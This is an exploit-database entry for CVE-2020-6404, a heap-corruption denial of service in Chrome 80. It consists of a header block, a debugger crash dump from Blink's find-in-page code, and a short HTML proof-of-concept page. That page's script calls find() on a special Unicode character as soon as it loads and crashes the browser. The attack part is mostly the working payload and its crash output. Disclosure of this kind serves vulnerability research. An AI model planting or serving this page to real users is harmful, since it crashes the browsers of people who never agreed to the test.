# Exploit Title: Google Chrome 80.0.3987.87 - Heap-Corruption Remote Denial of Service (PoC)
# Google Dork: N/A
# Date: 2020-02-21
# Exploit Author: Cem Onat Karagun of Diesec GmBH
# Vendor Homepage: https://www.google.com/
# Version: Google Chrome 80.0.3987.87
# Tested on: Windows x64 / Linux Debian x64 / MacOS
# CVE: CVE-2020-6404
# PoC Video: http://www.youtube.com/watch?v=tv5sDDwiWg8
# Description: https://bugs.chromium.org/p/chromium/issues/detail?id=1024256

Thread 35 "Chrome_InProcRe" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7f2cbf9ad700 (LWP 3275)]
[----------------------------------registers-----------------------------------]
RAX: 0x7f2cbe98d100 --> 0x41b58ab3
RBX: 0x7f2cbf9aa9c0 --> 0xfe597d7178d --> 0x0
RCX: 0x1fffffffffffffff
RDX: 0x7f2cbeb8bdf4 --> 0x0
RSI: 0x7f2cbeb8bdc0 --> 0x613000000000 --> 0xcc6e96b9 --> 0x0
RDI: 0x0
RBP: 0x7f2cbf9aaa70 --> 0x7f2cbf9aabf0 --> 0x7f2cbf9aad10 -->
0x7f2cbf9aadd0 --> 0x7f2cbf9aaea0 --> 0x7f2cbf9aafb0 (--> ...)

RSP: 0x7f2cbf9aa9c0 --> 0xfe597d7178d --> 0x0
RIP: 0x559e50c11189 (<RangeFromBufferIndex()+377>: mov cl,BYTE PTR
[rcx+0x7fff8000])
R8 : 0xfffffffffffffff8
R9 : 0x0
R10: 0x7f2cbec6a670 --> 0x7f2cbec6a070 --> 0xd47000000000000 ('')
R11: 0x7f2cbe98d100 --> 0x41b58ab3
R12: 0xfe597d31a20 --> 0x0
R13: 0x7f2cbeb8bde8 --> 0x0
R14: 0x0
R15: 0x2
EFLAGS: 0x10a06 (carry PARITY adjust zero sign trap INTERRUPT direction
OVERFLOW)
[-------------------------------------code-------------------------------------]
0x559e50c1117e <RangeFromBufferIndex()+366>: lea r8,[rdi-0x8]
0x559e50c11182 <RangeFromBufferIndex()+370>: mov rcx,r8
0x559e50c11185 <RangeFromBufferIndex()+373>: shr rcx,0x3
=> 0x559e50c11189 <RangeFromBufferIndex()+377>: mov cl,BYTE PTR
[rcx+0x7fff8000]
0x559e50c1118f <RangeFromBufferIndex()+383>: test cl,cl
0x559e50c11191 <RangeFromBufferIndex()+385>:
jne 0x559e50c11418 <RangeFromBufferIndex()+1032>
0x559e50c11197 <RangeFromBufferIndex()+391>: add
rdi,0xffffffffffffffff
0x559e50c1119b <RangeFromBufferIndex()+395>: mov rcx,rdi
[------------------------------------stack-------------------------------------]
0000| 0x7f2cbf9aa9c0 --> 0xfe597d7178d --> 0x0
0008| 0x7f2cbf9aa9c8 --> 0xc0c001162e6 --> 0x0
0016| 0x7f2cbf9aa9d0 --> 0xfe597d717be --> 0x0
0024| 0x7f2cbf9aa9d8 --> 0xfe597d717bd --> 0x0
0032| 0x7f2cbf9aa9e0 --> 0x7f2cbeb8bdf4 --> 0x0
0040| 0x7f2cbf9aa9e8 --> 0x7f2cbeb8bea0 --> 0x6060008b1720 -->
0x602000098630 --> 0x200000003 --> 0x0

0048| 0x7f2cbf9aa9f0 --> 0x21bec4d308 --> 0x0
0056| 0x7f2cbf9aa9f8 --> 0xfe597cfab48 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000559e50c11189 in MappingForIndex ()
at
../../third_party/blink/renderer/core/editing/finder/find_buffer.cc:450
450
../../third_party/blink/renderer/core/editing/finder/find_buffer.cc: No
such file or directory.


<!DOCTYPE html>
<head>
<script type="text/javascript">
document.addEventListener("DOMContentLoaded", function(){
find(decodeURIComponent('\uFFFC'));
});
</script>
</head>
<body>
<legend></legend>
</body>
</html>